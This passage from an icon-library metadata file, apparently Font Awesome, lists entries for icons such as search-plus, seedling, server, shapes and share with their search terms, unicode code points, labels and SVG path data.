9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm27.11-152.54l-45.01-13.5c-5.16-1.55-8.77-6.78-8.77-12.73 0-7.27 5.3-13.19 11.8-13.19h28.11c4.56 0 8.96 1.29 12.82 3.72 3.24 2.03 7.36 1.91 10.13-.73l11.75-11.21c3.53-3.37 3.33-9.21-.57-12.14-9.1-6.83-20.08-10.77-31.37-11.35V112c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v16.12c-23.63.63-42.68 20.55-42.68 45.07 0 19.97 12.99 37.81 31.58 43.39l45.01 13.5c5.16 1.55 8.77 6.78 8.77 12.73 0 7.27-5.3 13.19-11.8 13.19h-28.1c-4.56 0-8.96-1.29-12.82-3.72-3.24-2.03-7.36-1.91-10.13.73l-11.75 11.21c-3.53 3.37-3.33 9.21.57 12.14 9.1 6.83 20.08 10.77 31.37 11.35V304c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-16.12c23.63-.63 42.68-20.54 42.68-45.07 0-19.97-12.99-37.81-31.59-43.39z" + } + }, + "free": [ + "solid" + ] + }, + "search-location": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bigger", + "enlarge", + "find", + "magnify", + "preview", + "zoom" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f689", + "label": "Search Location", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635681, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm.02-239.96c-40.78 0-73.84 33.05-73.84 73.83 0 32.96 48.26 93.05 66.75 114.86a9.24 9.24 0 0 0 14.18 0c18.49-21.81 66.75-81.89 66.75-114.86 0-40.78-33.06-73.83-73.84-73.83zm0 96c-13.26 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm.02-239.96c-40.78 0-73.84 33.05-73.84 73.83 0 32.96 48.26 93.05 66.75 114.86a9.24 9.24 0 0 0 14.18 0c18.49-21.81 66.75-81.89 66.75-114.86 0-40.78-33.06-73.83-73.84-73.83zm0 96c-13.26 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z" + } + }, + "free": [ + "solid" + ] + }, + "search-minus": { + "changes": [ + "1", + "5.0.0", + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "minify", + "negative", + "smaller", + "zoom", + "zoom out" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f010", + "label": "Search Minus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635681, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M304 192v32c0 6.6-5.4 12-12 12H124c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M304 192v32c0 6.6-5.4 12-12 12H124c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z" + } + }, + "free": [ + "solid" + ] + }, + "search-plus": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bigger", + "enlarge", + "magnify", + "positive", + "zoom", + "zoom in" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f00e", + "label": "Search Plus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635682, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M304 192v32c0 6.6-5.4 12-12 12h-56v56c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-56h-56c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h56v-56c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v56h56c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M304 192v32c0 6.6-5.4 12-12 12h-56v56c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-56h-56c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h56v-56c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v56h56c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z" + } + }, + "free": [ + "solid" + ] + }, + "searchengin": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3eb", + "label": "Searchengin", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861019, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 460 512\"><path d=\"M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z\"/></svg>", + "viewBox": [ + "0", + "0", + "460", + "512" + ], + "width": 460, + "height": 512, + "path": "M220.6 130.3l-67.2 28.2V43.2L98.7 233.5l54.7-24.2v130.3l67.2-209.3zm-83.2-96.7l-1.3 4.7-15.2 52.9C80.6 106.7 52 145.8 52 191.5c0 52.3 34.3 95.9 83.4 105.5v53.6C57.5 340.1 0 272.4 0 191.6c0-80.5 59.8-147.2 137.4-158zm311.4 447.2c-11.2 11.2-23.1 12.3-28.6 10.5-5.4-1.8-27.1-19.9-60.4-44.4-33.3-24.6-33.6-35.7-43-56.7-9.4-20.9-30.4-42.6-57.5-52.4l-9.7-14.7c-24.7 16.9-53 26.9-81.3 28.7l2.1-6.6 15.9-49.5c46.5-11.9 80.9-54 80.9-104.2 0-54.5-38.4-102.1-96-107.1V32.3C254.4 37.4 320 106.8 320 191.6c0 33.6-11.2 64.7-29 90.4l14.6 9.6c9.8 27.1 31.5 48 52.4 57.4s32.2 9.7 56.8 43c24.6 33.2 42.7 54.9 44.5 60.3s.7 17.3-10.5 28.5zm-9.9-17.9c0-4.4-3.6-8-8-8s-8 3.6-8 8 3.6 8 8 8 8-3.6 8-8z" + } + }, + "free": [ + "brands" + ] + }, + "seedling": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "flora", + "grow", + "plant", + "vegan" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4d8", + "label": "Seedling", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635682, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 96H0c0 123.7 100.3 224 224 224v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C288 196.3 187.7 96 64 96zm384-64c-84.2 0-157.4 46.5-195.7 115.2 27.7 30.2 48.2 66.9 59 107.6C424 243.1 512 147.9 512 32h-64z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M64 96H0c0 123.7 100.3 224 224 224v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C288 196.3 187.7 96 64 96zm384-64c-84.2 0-157.4 46.5-195.7 115.2 27.7 30.2 48.2 66.9 59 107.6C424 243.1 512 147.9 512 32h-64z" + } + }, + "free": [ + "solid" + ] + }, + "sellcast": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "eercast" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f2da", + "label": "Sellcast", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861019, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M353.4 32H94.7C42.6 32 0 74.6 0 126.6v258.7C0 437.4 42.6 480 94.7 480h258.7c52.1 0 94.7-42.6 94.7-94.6V126.6c0-52-42.6-94.6-94.7-94.6zm-50 316.4c-27.9 48.2-89.9 64.9-138.2 37.2-22.9 39.8-54.9 8.6-42.3-13.2l15.7-27.2c5.9-10.3 19.2-13.9 29.5-7.9 18.6 10.8-.1-.1 18.5 10.7 27.6 15.9 63.4 6.3 79.4-21.3 15.9-27.6 6.3-63.4-21.3-79.4-17.8-10.2-.6-.4-18.6-10.6-24.6-14.2-3.4-51.9 21.6-37.5 18.6 10.8-.1-.1 18.5 10.7 48.4 28 65.1 90.3 37.2 138.5zm21.8-208.8c-17 29.5-16.3 28.8-19 31.5-6.5 6.5-16.3 8.7-26.5 3.6-18.6-10.8.1.1-18.5-10.7-27.6-15.9-63.4-6.3-79.4 21.3s-6.3 63.4 21.3 79.4c0 0 18.5 10.6 18.6 10.6 24.6 14.2 3.4 51.9-21.6 37.5-18.6-10.8.1.1-18.5-10.7-48.2-27.8-64.9-90.1-37.1-138.4 27.9-48.2 89.9-64.9 138.2-37.2l4.8-8.4c14.3-24.9 52-3.3 37.7 21.5z" + } + }, + "free": [ + "brands" + ] + }, + "sellsy": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f213", + "label": "Sellsy", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861019, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M539.71 237.308c3.064-12.257 4.29-24.821 4.29-37.384C544 107.382 468.618 32 376.076 32c-77.22 0-144.634 53.012-163.02 127.781-15.322-13.176-34.934-20.53-55.157-20.53-46.271 0-83.962 37.69-83.962 83.961 0 7.354.92 15.015 3.065 22.369-42.9 20.225-70.785 63.738-70.785 111.234C6.216 424.843 61.68 480 129.401 480h381.198c67.72 0 123.184-55.157 123.184-123.184.001-56.384-38.916-106.025-94.073-119.508zM199.88 401.554c0 8.274-7.048 15.321-15.321 15.321H153.61c-8.274 0-15.321-7.048-15.321-15.321V290.626c0-8.273 7.048-15.321 15.321-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v110.928zm89.477 0c0 8.274-7.048 15.321-15.322 15.321h-30.949c-8.274 0-15.321-7.048-15.321-15.321V270.096c0-8.274 7.048-15.321 15.321-15.321h30.949c8.274 0 15.322 7.048 15.322 15.321v131.458zm89.477 0c0 8.274-7.047 15.321-15.321 15.321h-30.949c-8.274 0-15.322-7.048-15.322-15.321V238.84c0-8.274 7.048-15.321 15.322-15.321h30.949c8.274 0 15.321 7.048 15.321 15.321v162.714zm87.027 0c0 8.274-7.048 15.321-15.322 15.321h-28.497c-8.274 0-15.321-7.048-15.321-15.321V176.941c0-8.579 7.047-15.628 15.321-15.628h28.497c8.274 0 15.322 7.048 15.322 15.628v224.613z" + } + }, + "free": [ + "brands" + ] + }, + "server": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "computer", + "cpu", + "database", + "hardware", + "network" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f233", + "label": "Server", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635685, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 160H32c-17.673 0-32-14.327-32-32V64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480 160H32c-17.673 0-32-14.327-32-32V64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24z" + } + }, + "free": [ + "solid" + ] + }, + "servicestack": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3ec", + "label": "Servicestack", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861019, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M88 216c81.7 10.2 273.7 102.3 304 232H0c99.5-8.1 184.5-137 88-232zm32-152c32.3 35.6 47.7 83.9 46.4 133.6C249.3 231.3 373.7 321.3 400 448h96C455.3 231.9 222.8 79.5 120 64z" + } + }, + "free": [ + "brands" + ] + }, + "shapes": { + "changes": [ + "5.2.0", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "blocks", + "build", + "circle", + "square", + "triangle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f61f", + "label": "Shapes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635685, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M128,256A128,128,0,1,0,256,384,128,128,0,0,0,128,256Zm379-54.86L400.07,18.29a37.26,37.26,0,0,0-64.14,0L229,201.14C214.76,225.52,232.58,256,261.09,256H474.91C503.42,256,521.24,225.52,507,201.14ZM480,288H320a32,32,0,0,0-32,32V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V320A32,32,0,0,0,480,288Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M128,256A128,128,0,1,0,256,384,128,128,0,0,0,128,256Zm379-54.86L400.07,18.29a37.26,37.26,0,0,0-64.14,0L229,201.14C214.76,225.52,232.58,256,261.09,256H474.91C503.42,256,521.24,225.52,507,201.14ZM480,288H320a32,32,0,0,0-32,32V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V320A32,32,0,0,0,480,288Z" + } + }, + "free": [ + "solid" + ] + }, + "share": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "save", + "send", + "social" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f064", + "label": "Share", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635686, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M503.691 189.836L327.687 37.851C312.281 24.546 288 35.347 288 56.015v80.053C127.371 137.907 0 170.1 0 322.326c0 61.441 39.581 122.309 83.333 154.132 13.653 9.931 33.111-2.533 28.077-18.631C66.066 312.814 132.917 274.316 288 272.085V360c0 20.7 24.3 31.453 39.687 18.164l176.004-152c11.071-9.562 11.086-26.753 0-36.328z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M503.691 189.836L327.687 37.851C312.281 24.546 288 35.347 288 56.015v80.053C127.371 137.907 0 170.1 0 322.326c0 61.441 39.581 122.309 83.333 154.132 13.653 9.931 33.111-2.533 28.077-18.631C66.066 312.814 132.917 274.316 288 272.085V360c0 20.7 24.3 31.453 39.687 18.164l176.004-152c11.071-9.562 11.086-26.753 0-36.328z" + } + }, + "free": [ + "solid" + ] + }, + "share-alt": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "save", + "send", + "social" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1e0", + "label": "Alternate Share", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635686, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 320c-22.608 0-43.387 7.819-59.79 20.895l-102.486-64.054a96.551 96.551 0 0 0 0-41.683l102.486-64.054C308.613 184.181 329.392 192 352 192c53.019 0 96-42.981 96-96S405.019 0 352 0s-96 42.981-96 96c0 7.158.79 14.13 2.276 20.841L155.79 180.895C139.387 167.819 118.608 160 96 160c-53.019 0-96 42.981-96 96s42.981 96 96 96c22.608 0 43.387-7.819 59.79-20.895l102.486 64.054A96.301 96.301 0 0 0 256 416c0 53.019 42.981 96 96 96s96-42.981 96-96-42.981-96-96-96z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M352 320c-22.608 0-43.387 7.819-59.79 20.895l-102.486-64.054a96.551 96.551 0 0 0 0-41.683l102.486-64.054C308.613 184.181 329.392 192 352 192c53.019 0 96-42.981 96-96S405.019 0 352 0s-96 42.981-96 96c0 7.158.79 14.13 2.276 20.841L155.79 180.895C139.387 167.819 118.608 160 96 160c-53.019 0-96 42.981-96 96s42.981 96 96 96c22.608 0 43.387-7.819 59.79-20.895l102.486 64.054A96.301 96.301 0 0 0 256 416c0 53.019 42.981 96 96 96s96-42.981 96-96-42.981-96-96-96z" + } + }, + "free": [ + "solid" + ] + }, + "share-alt-square": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "save", + "send", + "social" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1e1", + "label": "Alternate Share Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635686, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zM304 296c-14.562 0-27.823 5.561-37.783 14.671l-67.958-40.775a56.339 56.339 0 0 0 0-27.793l67.958-40.775C276.177 210.439 289.438 216 304 216c30.928 0 56-25.072 56-56s-25.072-56-56-56-56 25.072-56 56c0 4.797.605 9.453 1.74 13.897l-67.958 40.775C171.823 205.561 158.562 200 144 200c-30.928 0-56 25.072-56 56s25.072 56 56 56c14.562 0 27.823-5.561 37.783-14.671l67.958 40.775a56.088 56.088 0 0 0-1.74 13.897c0 30.928 25.072 56 56 56s56-25.072 56-56C360 321.072 334.928 296 304 296z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zM304 296c-14.562 0-27.823 5.561-37.783 14.671l-67.958-40.775a56.339 56.339 0 0 0 0-27.793l67.958-40.775C276.177 210.439 289.438 216 304 216c30.928 0 56-25.072 56-56s-25.072-56-56-56-56 25.072-56 56c0 4.797.605 9.453 1.74 13.897l-67.958 40.775C171.823 205.561 158.562 200 144 200c-30.928 0-56 25.072-56 56s25.072 56 56 56c14.562 0 27.823-5.561 37.783-14.671l67.958 40.775a56.088 56.088 0 0 0-1.74 13.897c0 30.928 25.072 56 56 56s56-25.072 56-56C360 321.072 334.928 296 304 296z" + } + }, + "free": [ + "solid" + ] + }, + "share-square": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "save", + "send", + "social" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f14d", + "label": "Share Square", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635686, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M568.482 177.448L424.479 313.433C409.3 327.768 384 317.14 384 295.985v-71.963c-144.575.97-205.566 35.113-164.775 171.353 4.483 14.973-12.846 26.567-25.006 17.33C155.252 383.105 120 326.488 120 269.339c0-143.937 117.599-172.5 264-173.312V24.012c0-21.174 25.317-31.768 40.479-17.448l144.003 135.988c10.02 9.463 10.028 25.425 0 34.896zM384 379.128V448H64V128h50.916a11.99 11.99 0 0 0 8.648-3.693c14.953-15.568 32.237-27.89 51.014-37.676C185.708 80.83 181.584 64 169.033 64H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48v-88.806c0-8.288-8.197-14.066-16.011-11.302a71.83 71.83 0 0 1-34.189 3.377c-7.27-1.046-13.8 4.514-13.8 11.859z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M568.482 177.448L424.479 313.433C409.3 327.768 384 317.14 384 295.985v-71.963c-144.575.97-205.566 35.113-164.775 171.353 4.483 14.973-12.846 26.567-25.006 17.33C155.252 383.105 120 326.488 120 269.339c0-143.937 117.599-172.5 264-173.312V24.012c0-21.174 25.317-31.768 40.479-17.448l144.003 135.988c10.02 9.463 10.028 25.425 0 34.896zM384 379.128V448H64V128h50.916a11.99 11.99 0 0 0 8.648-3.693c14.953-15.568 32.237-27.89 51.014-37.676C185.708 80.83 181.584 64 169.033 64H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48v-88.806c0-8.288-8.197-14.066-16.011-11.302a71.83 71.83 0 0 1-34.189 3.377c-7.27-1.046-13.8 4.514-13.8 11.859z" + }, + "regular": { + "last_modified": 